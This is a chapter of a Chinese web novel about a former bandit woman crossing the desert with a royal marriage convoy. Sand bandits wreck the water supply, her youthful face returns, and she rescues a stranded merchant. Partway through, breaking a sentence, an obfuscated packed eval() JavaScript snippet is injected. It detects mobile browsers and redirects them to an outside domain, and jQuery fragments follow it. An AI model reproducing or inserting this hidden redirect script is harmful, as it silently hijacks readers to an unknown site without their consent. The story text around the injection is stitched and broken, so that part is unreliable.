有味儿?重芸举起袖子嗅了嗅,虽然条件不好,没有经常洗澡,但她也做到了每天擦拭,不应该啊……
但话已至此,她就摊开讲明了:“侯爷,我现在这幅样子,着实没有换衣服的欲望。”
“俗话说,女为悦己者容,”她心想:老娘打扮不打扮看自己心情,跟别人一毛钱关系都没有!权当说给他听:“这幅样子没人想看,我自己看了都难受。您若是真心怜悯我,就给我解药吧。”
索性让他以为自己容貌焦虑。
宁让:“……容我考虑考虑。”
有希望啊!重芸备受鼓舞。
这宁让的脑回路着实让人摸不清,难道是因为他今日心情还不错?
她趁热打铁拍马屁:“侯爷,我觉得您今日简直风度翩翩,气质拉满。”
他脸一冷,帕子往盆里掷:“莫作非分之想,否则解药延期。”
重芸就知道,让他高兴这事,明显不是正道。
又行了半月,车队浩浩汤汤进入沙漠边缘,带队的那笙使臣送到这里,帮助送亲队伍采购了许多骆驼、马鞍,水和吃食等过路物资。
此时已进入10月,天气逐渐转凉,昼夜温差大了起来,重芸晚上明显感觉冷了一头,早晨起来打水都舍不得离开被窝,可怜了她这一身老胳膊老腿。
后来正式进入沙漠,她这才更加感觉环境艰苦。与她在现代旅游时住沙漠酒店、骑沙漠摩托、玩滑索骑骆驼比起来,这个时代的行程纯粹就是虐身虐心之旅。
队伍约600人,行进缓慢,她想,没个一两个月,怎么出得去?
一日,天还未亮,她起床上厕所,朦朦胧胧,却被几个人影吓清醒了,那一行人鬼鬼祟祟、探头探脑的样子,干过盗贼的她可太熟悉了,这不就是同行啊!
她提好裤子不敢声张,她这一副老弱病残的样子,闹出动静当真是自寻死路。
等那群人来了又离开了,她想,这事要不要去跟宁让说说?
还没等她有机会报告,早上宁让就接到通知,匆匆赶去了犯罪现场。据说,他们的水车遭到了严重破坏。
重芸这下更明确了,那些人果然是沙盗。沙漠盗贼与他们山贼隔了物理距离,但她之前在山寨里有一军师,早年走南闯北过,常常与她说起其他盗贼流派的故事,就比如这沙漠盗贼,偷盗之前往往喜欢破坏目标的水源,最终让他们在沙漠里行进无望,人因缺水变成肉干、变成骷髅时,他们便来坐收财宝。
荒蛮之地,求生不易,有这种和亲队伍,带了成队的金银美玉、织锦裘皮,沙盗自然不会放过。
重芸想,也不怪之前她这个山贼惦记,和亲使团简直就是行走的靶子。
宁让回来以后,一张马脸拉得更长了,重芸认识到了事情的严重性。
最直观的感受,便是分配到手的水变少了,起初还能擦个澡,后来便只能用于饮用了。
宁让早晨的洗漱都免了的时候,重芸看着一望无际的黄沙,感觉内心一个“咯噔”。
还,能走出去吗?
她抹了抹脸部褶子里藏的沙土,决定找宁让谈一谈。
见他忧心忡忡,她长话短说:“侯爷,我知道沙盗破坏了我们水车的事,真是夜不能寐、辗转反侧。”
他睨她一眼。
她继续说:“我怕哪天沙盗来了,这老胳膊老腿的,跑都怕不掉。”
宁让打量了她一身黑衣下颤巍巍的腿,深以为然。不过,即便她恢复原来的样子,他也不认为她跑得掉。
眼见谈判无果,重芸泄了气。
妈的,死马脸,一起毁灭吧!
她想起自己那还被关在队伍后头,锁在囚车里的好徒儿,他们这里都缺水缺成这样,囚车那边还有水喝吗?
于是第二日,天蒙蒙亮,她便严严实实裹了头巾,只露出一双琥珀色的眼睛,准备去打探打探她那弟兄们的情况,不过在沙地行走,容易陷在里面,她半夜三更出发,又一路躲避营帐外巡逻的军士,走了好久才走近关押人的囚车。
奴隶们大都因为缺水没了精神,奄奄一息的样子。
重芸做贼似地扒在囚车边,好在军士大多调派到水车那边守备,这里就一人看管,早晨天未亮,那人打起了瞌睡。
她趁着漫天星光,凭借依稀的影子判断,那坐在上面看起来最高的,便是柳明决!
果不出她所料,她很轻易就找到了他。
“柳五,是我,师叔……”她小声在他耳边说。
柳明决因为缺水,嘴唇干裂,意识有些恍惚,见重芸精神一振。
我可怜的徒儿,重芸赶紧递上手中的水壶,从木栅栏缝隙递给他。
他拿起水壶喝了个痛快,然后才问:“师叔怎么过来的?”
重芸拍拍他手腕,示意他多喝点。“这队伍遇到沙盗了,你再等等,很快就会放了你们的。”
听她如此说,柳明决不解:”师叔何出此言?
重芸心想,盗贼抵抗盗贼最是有力,宁让不会白白让这些贼寇这么死得没有价值。她近来与他接触多了,对他的了解便更多,他要的不过是,将所有人的价值发挥到最大处。
就比如她,他需要的是她的日常照顾,就不需要她貌美如花,随时分他心神。
他的小说人设是目标明确,用人用到极致。她不信,逼到绝境,他会忘记这些还有用处山贼。
她并不想与她这单纯的好徒儿说这么多,只是嘱咐他藏好水壶,等待时机。
她趁机与他交代一番,然后小心离开。
走了一会儿,她听见有脚步声渐近。
此时她在整个队伍尾部,放以前,她可能会想趁机溜走,但茫茫沙漠,她甚至不敢独自远离这队伍,离开,意味着没有物资补给,没有水源,没有安全。
月光下,一个人踩着沙子,发出哗啦哗啦的声响,他仿佛不是在走,而是在拖。
重芸怕他发现,不敢有动作,待那声音小了,她赶紧准备离开,脚步却被一个叫喊声打住。
“请……留步!”
糟糕,被他发现了?
那人又拖着腿往这边走,“救命啊……救命啊……”他声音小了下去。
重芸仔细一看,发现那人光着脚,她一狠心,走过去打探。
那男人幽幽抬起眼皮,看起来渴到极致。“有沙盗……”
重芸过去扶他,“你遇到沙盗了?”
这人看起来是从沙漠另一头走来,他衣服原本的料子摸起来细滑,但现在已经衣衫褴褛。
重芸裹着头巾,方才被他拽了几下,竟然露出了脸。
他微微一怔,盯着她那颇具魅惑风情的脸面,“美……美人。”
重芸想呼他一个大耳刮子:你竟敢调戏老朽!
冷静下来,却恍然大悟般摸了摸自己的脸。
待真的摸到脸上又重归光滑的皮肤,她心想:好你个宁让,昨日一声不吭,让我以为毫无指望,却偷偷给我下了解药,他啥时候下的?我竟毫无察觉!
今晚来之前,她本想着自己容颜苍老,企图全副武装藏起老态,见一见自己那徒儿。
可苍老的声音无法掩藏,她想,柳明决缺水迷糊了,可能也不在意声音啥的。
现在想来,那会儿可能她已经恢复了阿芸的模样和声音,没注意到罢了。
虽然样子恢复了,但毕竟老人当久了,仍虚弱得紧。
这奄奄一息的男人以为她本就柔弱,还去扶她。“姑娘……此地危险。”
“你从哪里来?”
那人叹气:“我原是一贩卖珠宝的商人,商队被那该死的沙盗抢了!救救我,美人,你若救我,我愿以身相许……”他语气真诚至极。
重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15475297|169949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
芸看着他一身的破布条和他长了几寸的胡须,还有他那不知是不是断了的腿,立马觉得这是颗烫手山芋,巴不得把他扔了。
啥资本都没了,竟然开始卖身?重芸佩服。
她还没有到饥不择食,见个男的都要收了的时候。
“美人,你怎么不说话了?”他疑惑。
重芸有点想要把他打晕。
要不是看他知道点沙盗的事,要不是这送亲队伍里面还有柳明决和颜回音,她真的立马就会撒手。
“你……最好闭嘴。”她学着宁让的态度冷脸。
她扶着他走了一段路,沙沙的声响很快吸引了一队巡逻的军士。
她对那一行军士亮出腰牌,便在他们的帮助下,回了宁让那边。
待喂了那人喝了水,吃了点东西,他恢复了精神。
得知这边状况的宁让掀帐进来。
“哪里捡的人?”他在她脸上瞥一眼,方知解药已经生效。倒是追月,见她又恢复了原来的年轻美貌,好生吃惊。
重芸怕自己解释不清楚自己大半夜去队伍后面的事情,便只是说:“半夜睡不着出去散步,便捡了他。”
宁让倒没继续盘问她,又问那男人:“你姓甚名谁?为何出现在沙漠中?”
男人见来者气度不凡、颇有威严,早就准备一股脑倾诉,一说起来便没完没了:“我乃良国北临王祥悯之子王千金,此番带商队从那笙过境,准备去乌提做生意,没想到被那该死的沙盗抢了我全部身家。”
他满脸脏污、眼中含泪:“我的随从全被他们杀掉了啊……也亏了我为人机警,好不容易逃出来。本以为要在这沙漠中熬死,结果天无绝人之路啊,我竟然遇见你们,恩人呐!”
说罢,他几乎都要跪下。重芸冷眼旁观:这人,比她还做作……
宁让听他说起北临王祥悯时,眸子一动。他的确见过那王家家主,北临王家在良国北部富甲一方,属于有名大族,他们家的生意遍布多国,他前两年在边境任职时,便听过王千金的名号。
世人评价他:千金散尽还复来,自然是钱财赚得盆满钵满,散得也潇潇洒洒。
王千金从腰带里摸索半天,摸出一片残玉来,“还有半块,我想足以向各位证明我的身份。”
追月将那半块玉递与宁让,他打量片刻,确认了那玉的归属,上面的确是北王家特有家徽。“沙盗为何独独让你跑掉?”
王千金:“要不是我有钱,他们早就撕票了,他们把我关了两个月,想要用我来要挟我老子给钱。他们以为我再无反抗之力,对我放松了紧惕,我才有机会逃跑,哪知道竟在这沙漠里头打转了月余,一直出不去。”
宁让:“转了月余……你是如何存活的?”
王千金点点头:“你们不知道吧?这沙漠里头,竟有绿洲!我带上水和捕获的野味,出来往几个方向都尝试了一遍,弹尽粮绝就回那绿洲,直到现在,还没出去。”
绿洲,岂不是有水?重芸觉得,自己捡的这人,倒像是个送水财神。
宁让倒是一副不急的样子,竟没有去打听那绿洲之事。
他吩咐重芸好生照看这王千金。
见宁让走了,王千金得了便宜便卖乖:“美人,刚听你们主子叫你阿芸,你唤我千金便是。”
他看这美人丫鬟虽然相貌不俗,但是一身如此老气粗糙的衣着,想来是在主人那里不受宠。他几乎要向她扑过来,“说真的,等我出去,愿意带你穿金戴银吃香喝辣,回报你的救命之恩。”
重芸皮球似的弹开,白他一眼:这人,是没有骨头吗?
他丝毫不介意,伸手摸了摸脸上的胡须,似乎领悟了美人的意思。
这是在嫌弃自己这副皮囊啊……
他嘴角一提:“美人,能否……借我一副剃须工具啊?顺便帮我找身换洗的衣服吧。”